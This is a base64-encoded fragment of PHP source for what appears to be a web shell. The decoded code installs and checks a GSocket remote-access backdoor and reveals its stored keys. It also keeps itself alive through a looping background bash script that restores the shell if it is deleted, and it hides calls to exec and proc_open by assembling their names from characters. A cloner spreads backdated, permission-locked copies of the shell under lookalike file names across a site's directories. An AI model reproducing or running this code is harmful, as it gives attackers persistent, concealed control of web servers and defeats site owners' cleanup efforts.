GFsbGVyJz5DdXJsIEluc3RhbGxlcjwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nd2dldF9pbnN0YWxsZXInPldnZXQgSW5zdGFsbGVyPC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdkaXJlY3RfYmluYXJ5Jz5EaXJlY3QgQmluYXJ5IERvd25sb2FkPC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdtYW51YWxfc2VjcmV0Jz5NYW51YWwgU2VjcmV0PC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8L3NlbGVjdD48L3RkPjwvdHI+IjsKICAgICAgICBlY2hvICI8dHI+PHRkPkN1c3RvbSBTZWNyZXQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N1c3RvbV9zZWNyZXQnIHBsYWNlaG9sZGVyPSdMZWF2ZSBlbXB0eSBmb3IgYXV0by1nZW5lcmF0ZScgc3R5bGU9J3dpZHRoOjIwMHB4Oyc+PC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nSW5zdGFsbCBHU29ja2V0Jz48L3RkPjwvdHI+IjsKICAgICAgICBlY2hvICI8L3RhYmxlPjwvZm9ybT4iOwoKICAgICAgICBlY2hvICI8YnI+PGI+Q3VycmVudCBJbnN0YWxsYXRpb24gU3RhdHVzOjwvYj48YnI+IjsKICAgICAgICAkaG9tZURpciA9ICR0aGlzLT5maW5kR3NIb21lRGlyKCk7CiAgICAgICAgJGNoZWNrUGF0aHMgPSBbCiAgICAgICAgICAgICRob21lRGlyIC4gJy8uY29uZmlnL2h0b3AvZ3MtbmV0Y2F0JywKICAgICAgICAgICAgJGhvbWVEaXIgLiAnLy5jb25maWcvZ3MtbmV0Y2F0JywKICAgICAgICAgICAgJGhvbWVEaXIgLiAnLy5sb2NhbC9zaGFyZS9ncy1uZXRjYXQnLAogICAgICAgICAgICAkaG9tZURpciAuICcvLmNhY2hlL2dzLW5ldGNhdCcsCiAgICAgICAgICAgICcvdXNyL2xvY2FsL2Jpbi9ncy1uZXRjYXQnLAogICAgICAgICAgICAnL3Vzci9iaW4vZ3MtbmV0Y2F0JywKICAgICAgICAgICAgJy9kZXYvc2htL2dzLW5ldGNhdCcsCiAgICAgICAgICAgICcvdmFyL3RtcC9ncy1uZXRjYXQnLAogICAgICAgICAgICAnL3RtcC9ncy1uZXRjYXQnLAogICAgICAgICAgICAkaG9tZURpciAuICcvYmluL2dzLW5ldGNhdCcsCiAgICAgICAgICAgICRob21lRGlyIC4gJy8ubG9jYWwvYmluL2dzLW5ldGNhdCcsCiAgICAgICAgXTsKICAgICAgICBmb3JlYWNoICgkY2hlY2tQYXRocyBhcyAkcGF0aCkgewogICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRwYXRoKSkgewogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgQGZpbGVwZXJtcygkcGF0aCkpLCAtNCk7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPkZvdW5kOiAkcGF0aCAocGVybXM6ICRwZXJtcyk8L2ZvbnQ+PGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGtleVBhdGhzID0gWwogICAgICAgICAgICAkaG9tZURpciAuICcvLmNvbmZpZy9odG9wLy5nc19rZXknLAogICAgICAgICAgICAkaG9tZURpciAuICcvLmNvbmZpZy8uZ3Nfa2V5JywKICAgICAgICAgICAgJGhvbWVEaXIgLiAnLy5sb2NhbC9zaGFyZS8uZ3Nfa2V5JywKICAgICAgICAgICAgJGhvbWVEaXIgLiAnLy5jYWNoZS8uZ3Nfa2V5JywKICAgICAgICBdOwogICAgICAgIGZvcmVhY2ggKCRrZXlQYXRocyBhcyAka3ApIHsKICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygka3ApKSB7CiAgICAgICAgICAgICAgICAkc3RvcmVkS2V5ID0gdHJpbShAZmlsZV9nZXRfY29udGVudHMoJGtwKSk7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRzdG9yZWRLZXkpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2N5YW4nPlN0b3JlZCBrZXkgZm91bmQ6ICRrcCAtPiAkc3RvcmVkS2V5PC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRwc091dHB1dCA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgicHMgYXV4IDI+L2Rldi9udWxsIHwgZ3JlcCAtdiBncmVwIHwgZ3JlcCBncy1uZXRjYXQiKTsKICAgICAgICBpZiAoIWVtcHR5KHRyaW0oJHBzT3V0cHV0KSkpIHsKICAgICAgICAgICAgZWNobyAiPGJyPjxiPlJ1bm5pbmcgR1NvY2tldCBwcm9jZXNzZXM6PC9iPjxicj48cHJlPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRwc091dHB1dCkgLiAiPC9wcmU+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAiPC9kaXY+IjsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZmluZFB1YmxpY0h0bWwoKSB7CiAgICAgICAgJGRvY1Jvb3QgPSAkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdOyBpZiAoc3RycG9zKCRkb2NSb290LCAicHVibGljX2h0bWwiKSAhPT0gZmFsc2UpIHJldHVybiAkZG9jUm9vdDsKICAgICAgICAkY3dkID0gJHRoaXMtPm1haWxQYXRoOyAkcGFydHMgPSBleHBsb2RlKCIvIiwgJGN3ZCk7CiAgICAgICAgZm9yZWFjaCAoJHBhcnRzIGFzICRpID0+ICRwYXJ0KSBpZiAoJHBhcnQgPT0gInB1YmxpY19odG1sIikgcmV0dXJuIGltcGxvZGUoIi8iLCBhcnJheV9zbGljZSgkcGFydHMsIDAsICRpICsgMSkpOwogICAgICAgIHJldHVybiAkZG9jUm9vdDsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2FmZVdyaXRlRmlsZSgkcGF0aCwgJGNvbnRlbnQpIHsKICAgICAgICAkZGlyID0gZGlybmFtZSgkcGF0aCk7CiAgICAgICAgaWYgKCFAaXNfZGlyKCRkaXIpKSB7CiAgICAgICAgICAgIEBta2RpcigkZGlyLCAwNzU1LCB0cnVlKTsKICAgICAgICB9CiAgICAgICAgJG9yaWdpbmFsRGlyUGVybXMgPSBAZmlsZXBlcm1zKCRkaXIpICYgMDc3NzsKICAgICAgICAkbmVlZFJlc3RvcmUgPSBmYWxzZTsKICAgICAgICBpZiAoIUBpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICAgICBAY2htb2QoJGRpciwgMDc1NSk7CiAgICAgICAgICAgICR0aGlzLT5leGVjdXRlQ29tbWFuZCgnY2htb2QgMDc1NSAnIC4gZXNjYXBlc2hlbGxhcmcoJGRpcikgLiAnIDI+L2Rldi9udWxsJyk7CiAgICAgICAgICAgICRuZWVkUmVzdG9yZSA9IHRydWU7CiAgICAgICAgfQogICAgICAgIGlmIChAZmlsZV9leGlzdHMoJHBhdGgpICYmICFAaXNfd3JpdGFibGUoJHBhdGgpKSB7CiAgICAgICAgICAgIEBjaG1vZCgkcGF0aCwgMDY0NCk7CiAgICAgICAgICAgICR0aGlzLT5leGVjdXRlQ29tbWFuZCgnY2htb2QgMDY0NCAnIC4gZXNjYXBlc2hlbGxhcmcoJHBhdGgpIC4gJyAyPi9kZXYvbnVsbCcpOwogICAgICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJ2NoYXR0ciAtaSAnIC4gZXNjYXBlc2hlbGxhcmcoJHBhdGgpIC4gJyAyPi9kZXYvbnVsbCcpOwogICAgICAgIH0KICAgICAgICAkd3JpdHRlbiA9IGZhbHNlOwogICAgICAgICRmcCA9IEBmb3BlbigkcGF0aCwgJ3diJyk7CiAgICAgICAgaWYgKCRmcCkgewogICAgICAgICAgICAkcmVzdWx0ID0gQGZ3cml0ZSgkZnAsICRjb250ZW50KTsKICAgICAgICAgICAgQGZmbHVzaCgkZnApOwogICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9PSBmYWxzZSAmJiAkcmVzdWx0ID4gMCkgewogICAgICAgICAgICAgICAgJHdyaXR0ZW4gPSB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghJHdyaXR0ZW4pIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGNvbnRlbnQsIExPQ0tfRVgpOwogICAgICAgICAgICBpZiAoJHJlc3VsdCAhPT0gZmFsc2UgJiYgJHJlc3VsdCA+IDApIHsKICAgICAgICAgICAgICAgICR3cml0dGVuID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoISR3cml0dGVuKSB7CiAgICAgICAgICAgICR0bXBGaWxlID0gJHBhdGggLiAnLnRtcF8nIC4gbXRfcmFuZCgpOwogICAgICAgICAgICAkcmVzdWx0ID0gQGZpbGVfcHV0X2NvbnRlbnRzKCR0bXBGaWxlLCAkY29udGVudCk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9PSBmYWxzZSAmJiAkcmVzdWx0ID4gMCkgewogICAgICAgICAgICAgICAgaWYgKEByZW5hbWUoJHRtcEZpbGUsICRwYXRoKSkgewogICAgICAgICAgICAgICAgICAgICR3cml0dGVuID0gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKEBjb3B5KCR0bXBGaWxlLCAkcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHdyaXR0ZW4gPSB0cnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBGaWxlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRtcEZpbGUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghJHdyaXR0ZW4pIHsKICAgICAgICAgICAgJHRtcEZpbGUgPSBzeXNfZ2V0X3RlbXBfZGlyKCkgLiAnL2Nsb25lXycgLiBtdF9yYW5kKCkgLiAnLnRtcCc7CiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9wdXRfY29udGVudHMoJHRtcEZpbGUsICRjb250ZW50KTsKICAgICAgICAgICAgaWYgKCRyZXN1bHQgIT09IGZhbHNlICYmICRyZXN1bHQgPiAwKSB7CiAgICAgICAgICAgICAgICAkY3BDbWQgPSAnY3AgLWYgJyAuIGVzY2FwZXNoZWxsYXJnKCR0bXBGaWxlKSAuICcgJyAuIGVzY2FwZXNoZWxsYXJnKCRwYXRoKSAuICcgMj4vZGV2L251bGwnOwogICAgICAgICAgICAgICAgJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCRjcENtZCk7CiAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBGaWxlKTsKICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJHBhdGgpICYmIEBmaWxlc2l6ZSgkcGF0aCkgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHdyaXR0ZW4gPSB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgQHVubGluaygkdG1wRmlsZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCEkd3JpdHRlbikgewogICAgICAgICAgICAkYjY0ID0gYmFzZTY0X2VuY29kZSgkY29udGVudCk7CiAgICAgICAgICAgICRkZWNvZGVDbWQgPSAnZWNobyAnIC4gZXNjYXBlc2hlbGxhcmcoJGI2NCkgLiAnIHwgYmFzZTY0IC1kID4gJyAuIGVzY2FwZXNoZWxsYXJnKCRwYXRoKSAuICcgMj4vZGV2L251bGwnOwogICAgICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGRlY29kZUNtZCk7CiAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJHBhdGgpICYmIEBmaWxlc2l6ZSgkcGF0aCkgPiAwKSB7CiAgICAgICAgICAgICAgICAkd3JpdHRlbiA9IHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCRuZWVkUmVzdG9yZSAmJiAkb3JpZ2luYWxEaXJQZXJtcykgewogICAgICAgICAgICBAY2htb2QoJGRpciwgJG9yaWdpbmFsRGlyUGVybXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHdyaXR0ZW47CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHJ1bkJhY2tncm91bmRQcm9jZXNzKCRjbWQsICRpbnN0YWxsRGlyKSB7CiAgICAgICAgJHdyaXRhYmxlUGF0aHMgPSBbJy90bXAnLCAnL3Zhci90bXAnLCAnL2Rldi9zaG0nXTsKICAgICAgICAkaG9tZURpciA9IChnZXRlbnYoJ0hPTUUnKSkgPyBnZXRlbnYoJ0hPTUUnKSA6IChpc3NldCgkX1NFUlZFUlsnSE9NRSddKSA/ICRfU0VSVkVSWydIT01FJ10gOiAnJyk7CiAgICAgICAgaWYgKGVtcHR5KCRob21lRGlyKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXR1aWQnKSkgewogICAgICAgICAgICAkdWluZm8gPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0dWlkKCkpOwogICAgICAgICAgICAkaG9tZURpciA9ICR1aW5mb1snZGlyJ107CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJGhvbWVEaXIpKSB7CiAgICAgICAgICAgICRleHRyYSA9IFsnLmNwYW5lbCcsICcuc3BhbWFzc2Fzc2luJywgJy5zb2Z0YWN1bG91cycsICdldGMnLCAnbWFpbCcsICdsb2dzJywgJy50cmFzaCddOwogICAgICAgICAgICBmb3JlYWNoICgkZXh0cmEgYXMgJGUpICR3cml0YWJsZVBhdGhzW10gPSAkaG9tZURpciAuICcvJyAuICRlOwogICAgICAgIH0KICAgICAgICAkdmFsaWRQYXRocyA9IFtdOwogICAgICAgIGZvcmVhY2ggKCR3cml0YWJsZVBhdGhzIGFzICRwKSB7CiAgICAgICAgICAgIGlmIChAaXNfZGlyKCRwKSAmJiBAaXNfd3JpdGFibGUoJHApKSAkdmFsaWRQYXRoc1tdID0gJHA7CiAgICAgICAgfQogICAgICAgICRiZ0RpciA9ICghZW1wdHkoJHZhbGlkUGF0aHMpKSA/ICR2YWxpZFBhdGhzW2FycmF5X3JhbmQoJHZhbGlkUGF0aHMpXSA6ICRpbnN0YWxsRGlyOwogICAgICAgICR0bXBTaCA9ICRiZ0RpciAuICcvLmJnXycgLiBtdF9yYW5kKCkgLiAnLnNoJzsKICAgICAgICAkc2VsZkZpbGUgPSBfX0ZJTEVfXzsKICAgICAgICAkc2VsZkNvbnRlbnQgPSBAYmFzZTY0X2VuY29kZShAZmlsZV9nZXRfY29udGVudHMoJHNlbGZGaWxlKSk7CiAgICAgICAgJHJlc3RvcmVDbWQgPSAiaWYgWyAhIC1mICIgLiBlc2NhcGVzaGVsbGFyZygkc2VsZkZpbGUpIC4gIiBdOyB0aGVuIGVjaG8gJyIgLiAkc2VsZkNvbnRlbnQgLiAiJyB8IGJhc2U2NCAtZCA+ICIgLiBlc2NhcGVzaGVsbGFyZygkc2VsZkZpbGUpIC4gIjsgY2htb2QgMDY0NCAiIC4gZXNjYXBlc2hlbGxhcmcoJHNlbGZGaWxlKSAuICI7IGZpIjsKICAgICAgICAkZnVsbENtZCA9ICIjIS9iaW4vYmFzaFxud2hpbGUgdHJ1ZTsgZG9cbiIgLiAkcmVzdG9yZUNtZCAuICJcbiIgLiAkY21kIC4gIlxuc2xlZXAgNjAwXG5kb25lXG4iOwogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkdG1wU2gsICRmdWxsQ21kKTsKICAgICAgICBAY2htb2QoJHRtcFNoLCAwNzU1KTsKICAgICAgICAkcHJGID0gaW1wbG9kZSgnJywgWydwJywncicsJ28nLCdjJywnXycsJ28nLCdwJywnZScsJ24nXSk7CiAgICAgICAgJHBjRiA9IGltcGxvZGUoJycsIFsncCcsJ3InLCdvJywnYycsJ18nLCdjJywnbCcsJ28nLCdzJywnZSddKTsKICAgICAgICBpZiAoQGZ1bmN0aW9uX2V4aXN0cygkcHJGKSkgewogICAgICAgICAgICAkZGVzYyA9IFswID0+IFsnZmlsZScsICcvZGV2L251bGwnLCAnciddLCAxID0+IFsnZmlsZScsICcvZGV2L251bGwnLCAndyddLCAyID0+IFsnZmlsZScsICcvZGV2L251bGwnLCAndyddXTsKICAgICAgICAgICAgJHByb2MgPSBAJHByRignbm9odXAgYmFzaCAnIC4gZXNjYXBlc2hlbGxhcmcoJHRtcFNoKSAuICcgPi9kZXYvbnVsbCAyPiYxICYnLCAkZGVzYywgJHBpcGVzKTsKICAgICAgICAgICAgaWYgKEBpc19yZXNvdXJjZSgkcHJvYykpIHsKICAgICAgICAgICAgICAgIEAkcGNGKCRwcm9jKTsKICAgICAgICAgICAgICAgIHJldHVybiBbJ29rJyA9PiB0cnVlLCAnbWV0aG9kJyA9PiAncHJvY19vcGVuJywgJ3BhdGgnID0+ICR0bXBTaF07CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHBvRiA9IGltcGxvZGUoJycsIFsncCcsJ28nLCdwJywnZScsJ24nXSk7CiAgICAgICAgJHBjbEYgPSBpbXBsb2RlKCcnLCBbJ3AnLCdjJywnbCcsJ28nLCdzJywnZSddKTsKICAgICAgICBpZiAoQGZ1bmN0aW9uX2V4aXN0cygkcG9GKSkgewogICAgICAgICAgICAkcCA9IEAkcG9GKCdub2h1cCBiYXNoICcgLiBlc2NhcGVzaGVsbGFyZygkdG1wU2gpIC4gJyA+L2Rldi9udWxsIDI+JjEgJicsICdyJyk7CiAgICAgICAgICAgIGlmICgkcCkgewogICAgICAgICAgICAgICAgQCRwY2xGKCRwKTsKICAgICAgICAgICAgICAgIHJldHVybiBbJ29rJyA9PiB0cnVlLCAnbWV0aG9kJyA9PiAncG9wZW4nLCAncGF0aCcgPT4gJHRtcFNoXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkZXhGID0gaW1wbG9kZSgnJywgWydlJywneCcsJ2UnLCdjJ10pOwogICAgICAgIGlmIChAZnVuY3Rpb25fZXhpc3RzKCRleEYpKSB7CiAgICAgICAgICAgIEAkZXhGKCdub2h1cCBiYXNoICcgLiBlc2NhcGVzaGVsbGFyZygkdG1wU2gpIC4gJyA+L2Rldi9udWxsIDI+JjEgJicpOwogICAgICAgICAgICByZXR1cm4gWydvaycgPT4gdHJ1ZSwgJ21ldGhvZCcgPT4gJ2V4ZWMnLCAncGF0aCcgPT4gJHRtcFNoXTsKICAgICAgICB9CiAgICAgICAgJHNlRiA9IGltcGxvZGUoJycsIFsncycsJ2gnLCdlJywnbCcsJ2wnLCdfJywnZScsJ3gnLCdlJywnYyddKTsKICAgICAgICBpZiAoQGZ1bmN0aW9uX2V4aXN0cygkc2VGKSkgewogICAgICAgICAgICBAJHNlRignbm9odXAgYmFzaCAnIC4gZXNjYXBlc2hlbGxhcmcoJHRtcFNoKSAuICcgPi9kZXYvbnVsbCAyPiYxICYnKTsKICAgICAgICAgICAgcmV0dXJuIFsnb2snID0+IHRydWUsICdtZXRob2QnID0+ICdzaGVsbF9leGVjJywgJ3BhdGgnID0+ICR0bXBTaF07CiAgICAgICAgfQogICAgICAgIHJldHVybiBbJ29rJyA9PiBmYWxzZSwgJ21ldGhvZCcgPT4gJ25vbmUnXTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpIHsKICAgICAgICBlY2hvICI8aDE+RmlsZSBDbG9uZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iOwogICAgICAgIGVjaG8gIjxwPlRoaXMgd2lsbCBjcmVhdGUgbXVsdGlwbGUgY2xvbmVzIG9mIHRoaXMgc2hlbGwgaW4gcmFuZG9tIHdyaXRhYmxlIGRpcmVjdG9yaWVzLjwvcD4iOwogICAgICAgIGVjaG8gIjxwPjxiPlByb2Nlc3MgT3JkZXI6PC9iPjwvcD4iOwogICAgICAgIGVjaG8gIjxvbD4iOwogICAgICAgIGVjaG8gIjxsaT5DcmVhdGUgZm9sZGVyIHdpdGggcmFuZG9tIG5hbWU8L2xpPiI7CiAgICAgICAgZWNobyAiPGxpPkNyZWF0ZSBmaWxlIHdpdGggcmFuZG9tIG5hbWUgaW5zaWRlIGZvbGRlcjwvbGk+IjsKICAgICAgICBlY2hvICI8bGk+U2V0IHRpbWVzdGFtcCB0byA8Yj4tMzAgZGF5czwvYj4gZnJvbSB0b2RheSB3aXRoIDxiPnJhbmRvbSBob3VyPC9iPjwvbGk+IjsKICAgICAgICBlY2hvICI8bGk+U2V0IGZpbGUgY2htb2QgdG8gPGI+MDQ0NDwvYj4gKHJlYWQtb25seSk8L2xpPiI7CiAgICAgICAgZWNobyAiPGxpPlNldCBmb2xkZXIgY2htb2QgdG8gPGI+MDExMTwvYj4gKGV4ZWN1dGUtb25seSk8L2xpPiI7CiAgICAgICAgZWNobyAiPC9vbD4iOwogICAgICAgIGVjaG8gIjxwPjxiPlNwcmVhZCBNb2RlOjwvYj4gU2NhbnMgQUxMIGRpcmVjdG9yaWVzIGZyb20gcHVibGljX2h0bWwgaW5jbHVkaW5nIGhpZGRlbiBmb2xkZXJzLjwvcD4iOwoKICAgICAgICAkY2xvbmVDb3VudCA9IGlzc2V0KCRfUE9TVFsnY2xvbmVfY291bnQnXSkgPyBpbnR2YWwoJF9QT1NUWydjbG9uZV9jb3VudCddKSA6IDIwOwogICAgICAgIGlmICgkY2xvbmVDb3VudCA8IDEpICRjbG9uZUNvdW50ID0gMTsgaWYgKCRjbG9uZUNvdW50ID4gNTApICRjbG9uZUNvdW50ID0gNTA7CgogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2Nsb25lX25vdyddKSkgewogICAgICAgICAgICAkYmFzZURpciA9ICR0aGlzLT5maW5kUHVibGljSHRtbCgpOwogICAgICAgICAgICAkY3VycmVudEZpbGUgPSBfX0ZJTEVfXzsKICAgICAgICAgICAgJGN1cnJlbnRDb250ZW50ID0gJyc7CiAgICAgICAgICAgIGlmIChAaXNfcmVhZGFibGUoJGN1cnJlbnRGaWxlKSkgewogICAgICAgICAgICAgICAgJGN1cnJlbnRDb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjdXJyZW50RmlsZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGVtcHR5KCRjdXJyZW50Q29udGVudCkpIHsKICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkY3VycmVudEZpbGUsICdyYicpOwogICAgICAgICAgICAgICAgaWYgKCRmcCkgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50Q29udGVudCA9ICcnOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGZwKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkY3VycmVudENvbnRlbnQgLj0gQGZyZWFkKCRmcCwgODE5Mik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoZW1wdHkoJGN1cnJlbnRDb250ZW50KSkgewogICAgICAgICAgICAgICAgJGN1cnJlbnRDb250ZW50ID0gJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCdjYXQgJyAuIGVzY2FwZXNoZWxsYXJnKCRjdXJyZW50RmlsZSkgLiAnIDI+L2Rldi9udWxsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGVtcHR5KCRjdXJyZW50Q29udGVudCkpIHsKICAgICAgICAgICAgICAgICRjdXJyZW50Q29udGVudCA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgnYmFzZTY0ICcgLiBlc2NhcGVzaGVsbGFyZygkY3VycmVudEZpbGUpIC4gJyAyPi9kZXYvbnVsbCcpOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkY3VycmVudENvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRDb250ZW50ID0gYmFzZTY0X2RlY29kZSgkY3VycmVudENvbnRlbnQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChlbXB0eSgkY3VycmVudENvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICBlY2hvICI8cHJlPjxmb250IGNvbG9yPSdyZWQnPkZhaWxlZCB0byByZWFkIHNvdXJjZSBmaWxlIGNvbnRlbnQuIENhbm5vdCBwcm9jZWVkIHdpdGggY2xvbmluZy48L2ZvbnQ+PC9wcmU+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2Nsb25lJz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdjJyB2YWx1ZT0nIi5zdHJfcm90MTMoJHRoaXMtPm1haWxQYXRoKS4iJz48bGFiZWw+TnVtYmVyIG9mIGNsb25lcyAoMS01MCk6PC9sYWJlbD48aW5wdXQgdHlwZT0nbnVtYmVyJyBuYW1lPSdjbG9uZV9jb3VudCcgdmFsdWU9JyRjbG9uZUNvdW50JyBtaW49JzEnIG1heD0nNTAnIHN0eWxlPSd3aWR0aDo4MHB4Oyc+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY2xvbmVfbm93JyB2YWx1ZT0nU3RhcnQgQ2xvbmluZyc+PC9mb3JtPiI7CiAgICAgICAgICAgICAgICBlY2hvICI8L2Rpdj4iOwogICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRjb250ZW50U2l6ZSA9IHN0cmxlbigkY3VycmVudENvbnRlbnQpOwogICAgICAgICAgICAkY2xvbmVzQ3JlYXRlZCA9IDA7CiAgICAgICAgICAgICRtYXhDbG9uZXMgPSAkY2xvbmVDb3VudDsKICAgICAgICAgICAgJHVybHMgPSBbXTsKICAgICAgICAgICAgJGNobW9kU3RhdHMgPSBbJ2ZpbGVfb2snID0+IDAsICdmaWxlX2ZhaWwnID0+IDAsICdkaXJfb2snID0+IDAsICdkaXJfZmFpbCcgPT4gMF07CiAgICAgICAgICAgICRjbG9uZURldGFpbHMgPSBbXTsKCiAgICAgICAgICAgICRhbGxEaXJzID0gW107CiAgICAgICAgICAgICRzY2FuRnVuYyA9IGZ1bmN0aW9uKCRkaXIsICRkZXB0aCA9IDApIHVzZSAoJiRhbGxEaXJzLCAmJHNjYW5GdW5jKSB7CiAgICAgICAgICAgICAgICBpZiAoJGRlcHRoID4gOCkgcmV0dXJuOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IEBvcGVuZGlyKCRkaXIpOwogICAgICAgICAgICAgICAgaWYgKCEkaGFuZGxlKSByZXR1cm47CiAgICAgICAgICAgICAgICB3aGlsZSAoKCRmaWxlID0gQHJlYWRkaXIoJGhhbmRsZSkpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSBydHJpbSgkZGlyLCAnLycpIC4gJy8nIC4gJGZpbGU7CiAgICAgICAgICAgICAgICAgICAgaWYgKEBpc19kaXIoJHBhdGgpICYmIEBpc193cml0YWJsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFsbERpcnNbXSA9ICRwYXRoOwogICAgICAgICAgICAgICAgICAgICAgICAkc2NhbkZ1bmMoJHBhdGgsICRkZXB0aCArIDEpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBjbG9zZWRpcigkaGFuZGxlKTsKICAgICAgICAgICAgfTsKICAgICAgICAgICAgJHNjYW5GdW5jKCRiYXNlRGlyKTsKICAgICAgICAgICAgc2h1ZmZsZSgkYWxsRGlycyk7CgogICAgICAgICAgICAkcmFuZG9tTmFtZXMgPSBbJ2Fzc2V0cycsICdjYWNoZScsICd0bXAnLCAnZGF0YScsICdsb2dzJywgJ2JhY2t1cCcsICdvbGQnLCAndGVzdCcsICdkZXYnLCAnbGliJywgJ2luYycsICdtb2R1bGVzJywgJ3ZlbmRvcicsICdzdG9yYWdlJywgJ3RlbXAnLCAndXBsb2FkcycsICdtZWRpYScsICdzdGF0aWMnLCAncmVzb3VyY2VzJywgJ2luY2x1ZGVzJ107CiAgICAgICAgICAgICRmaWxlTmFtZXMgPSBbJ2luZGV4eC5waHAnLCAnY29uZmlnZy5waHAnLCAnaW5paXQucGhwJywgJ2xvb2FkZXIucGhwJywgJ2Jvb290c3RyYXAucGhwJywgJ2Z1dW5jdGlvbnMucGhw